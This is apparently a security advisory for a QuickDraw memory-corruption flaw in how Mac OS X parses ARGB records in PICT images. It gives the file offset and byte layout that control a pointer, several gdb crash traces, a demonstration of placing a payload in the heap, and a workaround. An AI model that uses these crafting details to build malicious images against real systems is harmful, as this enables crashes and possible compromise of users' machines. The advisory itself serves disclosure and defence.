Apple describes QuickDraw as follows:

...a collection of system software routines that your application can use to perform most image-manipulation operations on Macintosh computers.

QuickDraw is integrated in Mac OS X since very early versions, used by Quicktime and any other application that needs to handle PICT images. A vulnerability exists in the handling of ARGB records (Alpha RGB) within PICT images, that leads to an exploitable memory corruption condition (ex. denial of service, so-called crash, which can be used to gain root privileges in combination with MOAB-22-01-2007).

A specially crafted PICT image with a malformed ARGB record can abuse this issue for subverting the pointer passed to the _GetSrcBits32ARGB() function. Up to 3 bytes can be controlled, as the last one is a fixed value (0x70, incremental) and isn't influenced by the image data structure:

at offset 662:

   06     ED  BB  ED  AD  ED  DE
[length] [-] [R] [-] [G] [-] [B]

ADED    -> 0xdead
BB+0x03 -> 0xbe
plus fixed value: 0x70

result: 0xdeadbe70

This is enough for pointing at an absolutely different address (ex. at heap or stack space, user controlled). A valid address will most probably cause the application to continue execution, although an invalid one will lead to a memory access violation (KERN_INVALID_ADDRESS exception).

This is demonstrated by using a mapped stack-based address:

   06     ED  BB  ED  AD  ED  BF
[length] [-] [R] [-] [G] [-] [B]
result: 0xbfadbe70

(gdb) break  *0x91782c44
Breakpoint 1 at 0x91782c44
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Reading symbols for shared libraries . done

Breakpoint 1, 0x91782c44 in _GetSrcBits32ARGB ()
(gdb) x/4x $eax
0xbfadbe70:     0x00000000      0x00000000      0x00000000      0x00000000

Once execution continues, the address is repeatedly incremented:

Breakpoint 1, 0x91782c44 in _GetSrcBits32ARGB ()
(gdb) p (void *)$eax
$2 = (void *) 0xbfadbe90
(gdb) c
Breakpoint 1, 0x91782c44 in _GetSrcBits32ARGB ()
(gdb) p (void *)$eax
$3 = (void *) 0xbfadbe94
(gdb) c
Breakpoint 1, 0x91782c44 in _GetSrcBits32ARGB ()
(gdb) p (void *)$eax
$4 = (void *) 0xbfadbe98
(gdb) c
Breakpoint 1, 0x91782c44 in _GetSrcBits32ARGB ()
(gdb) p (void *)$eax
$5 = (void *) 0xbfadbe9c

While arbitrary code execution might be possible, until further research is done, it can't be stated as currently viable condition.

Affected versions

This has been tested via QuickTime™ Version 7.1.3 running on Mac OS X 10.4.8 (8L2127), with the Apple Security Update 2007-001 applied. In case there's any confusion, this issue is architecture independent. Previous versions are most probably affected as well (ex. MacOS X 10.0), as PICT support has been present since System 6.0.4.

Proof of concept, exploit or instructions to reproduce

The provided proof of concept image can trigger the issue via Safari (or any web browser capable of loading PICT images), file download (and preview), when opened via Quicktime, etc.

Debugging information

The following debugging information shows the results of opening the provided proof of concept image with Quicktime, although the same results are triggered via Safari or any of the other possible methods:

(gdb) r ../bugs/quick-32argb1.pct 
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /Applications/QuickTime Player
Reading symbols for shared libraries . done

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0xdeadbe70
0x91782c44 in _GetSrcBits32ARGB ()
(gdb) back
#0  0x91782c44 in _GetSrcBits32ARGB ()
#1  0x9174a21c in Move1Line32Src ()
#2  0x9174a040 in Merge32Src ()
#3  0x9171ac16 in StretchBlt ()
#4  0x91718620 in Stretch ()
#5  0x9171788b in OneSrcOneDst ()
#6  0x9171735d in CommonBits ()
#7  0x91724d9b in StdBits ()
#8  0x91733a0a in PicItemVerb ()
#9  0x91731ecb in DrawPicture ()
#10 0x990490e1 in QuickDraw_CDBandDecompress ()
#11 0x90cccd57 in CallComponentFunctionCommon ()
#12 0x9904916e in QuickDraw_CDComponentDispatch ()
#13 0x90ccca3c in CallComponentDispatch ()
#14 0x943713a0 in ImageCodecBandDecompress ()
#15 0x9435c89c in DoBandedDecompress ()
#16 0x94358927 in ICMAction ()
#17 0x9435763f in ICMDeviceLoop ()
#18 0x943617da in DecompressSequenceFrameWhen ()
#19 0x98b4be98 in v2m_rDecompressSequenceFrameWhen ()
#20 0x98b52b28 in v2m_decompressVideoFrame ()
#21 0x98b534c4 in QueueAFrame ()
#22 0x98b54536 in v2m_doWhatTheMentorTellsUs ()
#23 0x98b55e6e in Video2MoviesTask ()
#24 0x90cccf13 in CallComponentFunctionCommon ()
#25 0x98b44f7a in Video2ComponentDispatch ()
#26 0x90ccca3c in CallComponentDispatch ()
#27 0x9435456b in MediaMoviesTask ()
#28 0x94352ff4 in TaskMovie_priv ()
#29 0x98bf246a in doIdleMovie ()
#30 0x98c0158f in internalDoAction ()
#31 0x98bf2342 in _MCIdle ()
#32 0x90cccd57 in CallComponentFunctionCommon ()
#33 0x98bed855 in _MCComponentDispatch ()
#34 0x90ccca3c in CallComponentDispatch ()
#35 0x943520d0 in MCIdle ()
#36 0x94350d25 in QTOMovieObject::SendCommand ()
#37 0x94325c92 in DispatchQTMsg ()
#38 0x943259bf in QTObjectTokenPriv::SendMessageToObject ()
#39 0x94324dd8 in QTObjectTokenPriv::DispatchMessage ()
#40 0x94350b3a in QTSendToObject ()
#41 0x95a291a2 in QTObjectTokenExecuteCommand ()
#42 0x95a3afe5 in -[QTMovie idle] ()
#43 0x95a4b81a in -[QTMovieContentView setMovie:] ()
#44 0x95a3cf12 in -[QTMovieView setMovie:] ()
#45 0x0000ccd9 in -[QTPMovieView setMovie:] ()
#46 0x000177cd in -[QTPMovieWindowController syncToNewMovie] ()
#47 0x00016fc1 in -[QTPMovieWindowController windowDidLoad] ()
#48 0x9339acaa in -[NSWindowController _windowDidLoad] ()
#49 0x9328ea63 in -[NSWindowController window] ()
#50 0x00013495 in -[QTPMovieWindowController setDocumentEdited:] ()
#51 0x0000bbcf in -[QTPMovieDocument makeWindowControllers] ()
#52 0x93541c81 in -[NSDocumentController(NSDeprecated) _openDocumentFileAt:display:] ()
#53 0x00012ee9 in -[QTPApplicationDelegate openFiles:openInNewPlayer:] ()
#54 0x00012daf in -[QTPApplicationDelegate application:openFiles:] ()
#55 0x9326ad3b in -[NSApplication _doOpenFile:ok:tryTemp:] ()
#56 0x93268305 in -[NSApplication finishLaunching] ()
#57 0x93267c29 in -[NSApplication run] ()
#58 0x9325bd2f in NSApplicationMain ()
#59 0x0004040a in _start ()
#60 0x00040325 in start ()

(gdb) i r
eax            0xdeadbe70       -559038864
ecx            0xdeadbe70       -559038864
edx            0xbfffcbd4       -1073755180
ebx            0x91719977       -1854826121
esp            0xbfffc9d8       0xbfffc9d8
ebp            0xbfffc9d8       0xbfffc9d8
esi            0x14     20
edi            0x3aa860 3844192
eip            0x91782c44       0x91782c44 <_GetSrcBits32ARGB+6>
eflags         0x10206  66054
cs             0x17     23
ss             0x1f     31
ds             0x1f     31
es             0x1f     31
fs             0x0      0
gs             0x37     55

The RGB data type is defined as follows:

struct RGBColor {
   unsigned short red;
   unsigned short green;
   unsigned short blue;

More information is available in the Quartz Programming Guide for QuickDraw Developers and the Imaging With QuickDrawk documentation.


Exploitation conditions

This vulnerability can be abused via any method that triggers execution of the Quickdraw related code. This includes: via web browser (ex. Safari, Mozilla Firefox) and via download and local storage (ex. file preview).

If arbitrary code execution is confirmed, any desired payload can be appended to the file, and it will be available at a heap allocated buffer:

ED 61 ED C3 06 ED 37 ED 5F ED C1 06 ED 35 ED 5D .a....7._....5.]....APPLEBLOWS
ED C0 00 FF 41 50 50 4C 45 42 4C 4F 57 53

(gdb) grep /s APPLEBLOWS
Pattern found @ 0x14b62324
0x14b62324:      "APPLEBLOWS"

$ vmmap 597 | grep 14b62
MALLOC (freed?)        14b5f000-14b62000 [   12K] rw-/rwx SM=COW  
MALLOC_LARGE           14b62000-14b6a000 [   32K] rw-/rwx SM=COW  DefaultMallocZone_0x300000

The advisory will be updated whenever new details become available.

Workaround or temporary solution

Use RCdefaultApp to disable any file and MIME type associations related with PICT files. This is necessary for preventing Quicktime and specially Safari or any other application to automatically load a malicious image exploiting this issue.